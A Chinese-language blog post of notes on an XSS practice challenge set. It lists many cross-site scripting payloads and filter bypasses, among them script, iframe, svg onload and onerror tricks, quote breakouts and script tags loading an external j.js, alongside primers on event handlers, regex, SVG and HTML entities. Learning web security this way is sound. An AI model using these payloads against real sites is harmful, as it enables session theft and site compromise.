Web3

发表于 2024-12-14 更新于 2025-05-13 分类于 Web 阅读次数： Changyan：本文字数： 2.9k 阅读时长 ≈ 11 分钟

Web 3

上次的 3 想复杂了。

<script>alert1</script>
<script>{onerror=eval}throw'=alert\x281\x29'</script>

或 <iframe srcdoc="<script>parent.alert(1)</script>"

或 <svg><script>alert(1&#41</script

事件处理器

事件处理程序（Event Handlers）是 HTML 元素上的属性，用于响应用户交互或其他事件。以下是一些常见的事件处理程序：

常见的有：

鼠标事件： - onclick：当用户单击元素时触发。 - ondblclick：当用户双击元素时触发。 - onmousedown：当用户按下鼠标按钮时触发。 - onmouseup：当用户释放鼠标按钮时触发。 - onmouseover：当鼠标指针移动到元素上时触发。 - onmouseout：当鼠标指针移出元素时触发。 - onmousemove：当鼠标指针在元素上移动时触发。 - onmouseenter：当鼠标指针进入元素时触发。 - onmouseleave：当鼠标指针离开元素时触发。

键盘事件： - onkeydown：当用户按下键盘上的任意键时触发。 - onkeypress：当用户按下键盘上的字符键时触发。 - onkeyup：当用户释放键盘上的键时触发。

表单事件： - onchange：当元素的值发生改变时触发。 - onsubmit：当用户提交表单时触发。 - onreset：当用户重置表单时触发。 - onfocus：当元素获得焦点时触发。 - onblur：当元素失去焦点时触发。 - oninput：当用户输入内容时触发。

加载事件： - onload：当页面或图像加载完成时触发。 - onunload：当用户离开页面时触发。 - onerror：当加载文档或图像时发生错误时触发。

剪切板事件： - oncopy：当用户复制内容时触发。 - oncut：当用户剪切内容时触发。 - onpaste：当用户粘贴内容时触发。

拖放事件： - ondrag：当元素被拖动时触发。 - ondragstart：当用户开始拖动元素时触发。 - ondragend：当用户完成拖动元素时触发。 - ondragenter：当拖动元素进入目标元素时触发。 - ondragover：当拖动元素在目标元素上移动时触发。 - ondragleave：当拖动元素离开目标元素时触发。 - ondrop：当拖动元素放置在目标元素上时触发。

其他事件： - onscroll：当元素滚动时触发。 - onresize：当元素大小发生改变时触发。 - onselect：当用户选择文本时触发。 - oncontextmenu：当用户右键单击元素时触发。

例子：一个阻止用户复制内容的脚本。

<!DOCTYPE html>
<html>
<head>
    <title>不能复制</title>
</head>
<body oncopy="return false;">
    <p>此文本不能复制</p>
</body>
</html>

--!><script>alert(1)</script> 它会被解析为  <script>alert(1)</script> 以及 --!>。
补全

浏览器会尽可能的修复错误，因此许多写法都在宽容的范围内。
1. 不完整的标签，浏览器会自动补全。
  1.html
  1
  2
  3
  awa
  <textarea>
  awaw
2. 刚刚的非标准注释。
3. 属性值不完整。
  1.html
  1
  2
  <img src= onerror
  =alert(1)
4. 不使用引号。
  1.html
  1
  <img src=nonexistent onerror=alert(1)>
1
2
type=image src="awa" onerror
=alert(1)
/auto|on.*=|>/ig, '_' 会把 auto 或 on.*= 或 > 替换为 _。

正则表达式

正则表达式详解

JavaScript 的正则表达式（Regular Expressions）是一个强大的工具，用于匹配和操作字符串。正则表达式由字符和元字符组成，定义了一个搜索模式。以下是对 JavaScript 正则表达式构成的详细解释：

基本构成

字面量字符：
- 直接匹配自身的字符。
- 例如：/abc/ 匹配字符串 "abc"。
元字符：
- 特殊字符，用于表示特定的匹配模式。
- 例如：. 匹配任意单个字符，* 匹配前面的字符零次或多次。

常见元字符

.：
- 匹配除换行符以外的任意单个字符。
- 例如：/a.b/ 匹配 "aab"、"acb" 等。
^：
- 匹配输入的开始。
- 例如：/^abc/ 匹配以 "abc" 开头的字符串。
$：
- 匹配输入的结束。
- 例如：/abc$/ 匹配以 "abc" 结尾的字符串。
*：
- 匹配前面的字符零次或多次。
- 例如：/ab*c/ 匹配 "ac"、"abc"、"abbc" 等。
+：
- 匹配前面的字符一次或多次。
- 例如：/ab+c/ 匹配 "abc"、"abbc" 等，但不匹配 "ac"。
?：
- 匹配前面的字符零次或一次。
- 例如：/ab?c/ 匹配 "ac" 和 "abc"。
{n}：
- 匹配前面的字符恰好 n 次。
- 例如：/a{3}/ 匹配 "aaa"。
{n,}：
- 匹配前面的字符至少 n 次。
- 例如：/a{2,}/ 匹配 "aa"、"aaa" 等。
{n,m}：
- 匹配前面的字符至少 n 次，但不超过 m 次。
- 例如：/a{2,3}/ 匹配 "aa" 和 "aaa"。
[]：
- 匹配方括号内的任意字符。
- 例如：/[abc]/ 匹配 "a"、"b" 或 "c"。
[^]：
- 匹配不在方括号内的任意字符。
- 例如：/[^abc]/ 匹配除 "a"、"b"、"c" 以外的任意字符。
|：
- 逻辑或运算符，匹配左边或右边的表达式。
- 例如：/a|b/ 匹配 "a" 或 "b"。
()：
- 分组，用于将多个字符组合成一个单元。
- 例如：/(abc)/ 匹配 "abc"。

转义字符

\：
- 用于转义元字符，使其作为字面量字符匹配。
- 例如：/a\*b/ 匹配 "a*b"。

特殊字符

\d：
- 匹配任意数字字符，相当于 [0-9]。
- 例如：/\d/ 匹配 "1"、"2" 等。
\D：
- 匹配任意非数字字符，相当于 [^0-9]。
- 例如：/\D/ 匹配 "a"、"b" 等。
\w：
- 匹配任意字母、数字或下划线字符，相当于 [a-zA-Z0-9_]。
- 例如：/\w/ 匹配 "a"、"1" 等。
\W：
- 匹配任意非字母、数字或下划线字符，相当于 [^a-zA-Z0-9_]。
- 例如：/\W/ 匹配 "!"、"@" 等。
\s：
- 匹配任意空白字符，包括空格、制表符、换页符等。
- 例如：/\s/ 匹配 " "、" 等。
\S：
- 匹配任意非空白字符。
- 例如：/\S/ 匹配 "a"、"1" 等。

修饰符

i：
- 不区分大小写匹配。
- 例如：/a/i 匹配 "a" 和 "A"。
g：
- 全局匹配。
- 例如：/a/g 匹配所有 "a"。
m：
- 多行匹配。
- 例如：/^a/m 匹配每行开头的 "a"。

示例

以下是一些示例正则表达式及其匹配结果：

const regex1 = /auto|on.*=|>/ig;
console.log("auto".match(regex1)); // ["auto"]
console.log("Auto".match(regex1)); // ["Auto"]
console.log("onclick=".match(regex1)); // ["onclick="]
console.log("onmouseover=".match(regex1)); // ["onmouseover="]
console.log(">".match(regex1)); // [">"]

const regex2 = /\d+/g;
console.log("There are 123 apples and 456 oranges.".match(regex2)); // ["123", "456"]

const regex3 = /\b\w{4}\b/g;
console.log("This is a test of regex.".match(regex3)); // ["This", "test", "regex"]

<svg/onload=alert(1)

被解析为 <article><svg onload="alert(1)" <="" article=""></svg></article>

article

<article> 标签是 HTML5 中的新标签，用于定义文章内容。<article> 标签通常用于包含独立的、完整的内容，例如一篇博客文章或新闻报道。<article> 标签是一个块级元素，通常包含标题、作者、日期等信息。<article> 标签可以嵌套在其他 HTML 元素中，例如 <section>、<main> 或 <body>。

其主要作用是提高文档的语义化程度，辅助搜索引擎和屏幕阅读器等工具更好地理解文档结构。<article> 标签的内容应该是独立于页面的其余内容，可以单独分发或重用。

<!DOCTYPE html>
<html>
<head>
    <title>Article 示例</title>
</head>
<body>
    <article>
        <header>
            <h1>文章标题</h1>
            <p>作者：张三</p>
            <p>发布日期：2023年10月1日</p>
        </header>
        <section>
            <p>这是文章的第一段内容。</p>
            <p>这是文章的第二段内容。</p>
        </section>
        <footer>
            <p>本文版权归作者所有。</p>
        </footer>
    </article>
</body>
</html>

<article>
    <h1>博客文章标题</h1>
    <p>这是博客文章的内容。</p>
    <article>
        <h2>评论标题</h2>
        <p>这是评论的内容。</p>
    </article>
    <article>
        <h2>评论标题</h2>
        <p>这是另一条评论的内容。</p>
    </article>
</article>

SVG

SVG（Scalable Vector Graphics）是一种基于 XML 的矢量图形格式，用于描述二维图形。SVG 图像可以在任何分辨率下缩放而不失真，因此非常适合用于网页和其他需要高质量图形的应用。

SVG 图像可以包含文本、图形、滤镜、动画等元素，可以通过 CSS 和 JavaScript 进行样式和交互控制。SVG 图像可以直接嵌入到 HTML 文档中，也可以作为独立文件使用。

以下是一个简单的 SVG 示例，绘制一个红色的圆形：

<!DOCTYPE html>
<html>
<head>
    <title>SVG 示例</title>
</head>
<body>
    <svg width="100" height="100">
        <circle cx="50" cy="50" r="40" fill="red" />
    </svg>
</body>
</html>

SVG 的一些常见元素包括：

<svg>：定义 SVG 图像的命名空间和基本属性。
<circle>：定义一个圆形。
- cx：圆心的 x 坐标。
- cy：圆心的 y 坐标。
- r：圆的半径。
- fill：填充颜色。
- stroke：边框颜色。
- stroke-width：边框宽度。
<rect>：定义一个矩形。

x：矩形左上角的 x 坐标。
y：矩形左上角的 y 坐标。
width：矩形的宽度。
height：矩形的高度。
fill：填充颜色。
stroke：边框颜色。
stroke-width：边框宽度。
rx：水平方向的圆角半径。
ry：垂直方向的圆角半径。

<line>：定义一条直线。

x1：起点的 x 坐标。
y1：起点的 y 坐标。
x2：终点的 x 坐标。
y2：终点的 y 坐标。
stroke：线条颜色。
stroke-width：线条宽度。

<ellipse>：定义一个椭圆。

cx：椭圆中心的 x 坐标。
- cy：椭圆中心的 y 坐标。
- rx：椭圆水平方向的半径。
- ry：椭圆垂直方向的半径。
- fill：填充颜色。
- stroke：边框颜色。
- stroke-width：边框宽度。

<polygon>：定义一个多边形。

points：多边形的顶点坐标。
fill：填充颜色。
stroke：边框颜色。
stroke-width：边框宽度。

<polyline>：定义一条折线。

points：折线的顶点坐标。
fill：填充颜色。
stroke：边框颜色。
stroke-width：边框宽度。

<path>：定义一个路径。

d：路径的数据。
fill：填充颜色。
stroke：边框颜色。
stroke-width：边框宽度。

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
    <!-- 圆形 -->
    <circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red" />

    <!-- 矩形 -->
    <rect x="100" y="10" width="80" height="80" stroke="black" stroke-width="3" fill="blue" />

    <!-- 直线 -->
    <line x1="0" y1="150" x2="200" y2="150" stroke="green" stroke-width="2" />

    <!-- 椭圆 -->
    <ellipse cx="50" cy="150" rx="30" ry="20" stroke="purple" stroke-width="2" fill="yellow" />

    <!-- 多边形 -->
    <polygon points="100,110 140,150 60,150" stroke="orange" stroke-width="2" fill="pink" />

    <!-- 折线 -->
    <polyline points="150,110 180,140 120,140" stroke="brown" stroke-width="2" fill="none" />

    <!-- 路径 -->
    <path d="M 10 180 Q 95 10 180 180" stroke="black" stroke-width="2" fill="none" />
</svg>

</style ><script>alert(1)</script>

/* \u574F\u4EBA */ 对应于 /* 坏人 */。

https://www.segmentfault.com.haozi.me/j.js 需要公网域名。
https://www.segmentfault.com.haozi.me/j.js 需要公网域名。

HTML 实体

HTML 实体（HTML Entities）是一种特殊的字符表示方法，用于在 HTML 文档中表示特殊字符。HTML 实体以 & 开头，以 ; 结尾，用于表示无法直接输入的字符，例如空格、小于号、大于号等。

以下是一些常见的 HTML 实体：

空格

 ：不断行的空格。
&ensp;：半角空格。
&emsp;：全角空格。
 ：窄空格。
&zwnj;：零宽不连字。
&zwj;：零宽连字。
&lrm;：左至右标记。
&rlm;：右至左标记。

其中，&zwnj; 、&zwj; 、&lrm; 、&rlm; 用于阿拉伯语、波斯语等连写语言中，中文没有这个问题。

符号

<：小于号 <。
>：大于号 >。
&：和号 &。
"：双引号 "。
'：单引号 '。
¢：分号 ¢。
£：英镑符号 £。
¥：日元符号 ¥。
€：欧元符号 €。
©：版权符号 ©。
®：注册商标符号 ®。

数学符号

±：正负号 ±。
×：乘号 ×。
÷：除号 ÷。

希腊字母

α：α。
β：β。
γ：γ。
δ：δ。
ε：ε。

其他

§：章节符号 §。
¶：段落符号 ¶。
·：中点 ·。

HTML 实体的作用是在 HTML 文档中表示特殊字符，避免与 HTML 标签冲突，同时提高文档的可读性和可维护性。

<script src="https://www.segmentfault.com.haozi.me/j.js"></script>
<scscriptript src="https://www.segmentfault.com.haozi.me/j.js"></scripscriptt>
1
2
3

alert(1)
-->
<ſcript src="https://xss.haozi.me/j.js"></script> 这个有点为难人了。ſ 是 U+017F，是一个长 s，用在古英语中。
');alert('1
'';alert(1)

\");alert(1)//

</script>
<script>
alert`1`;
</script>
<script>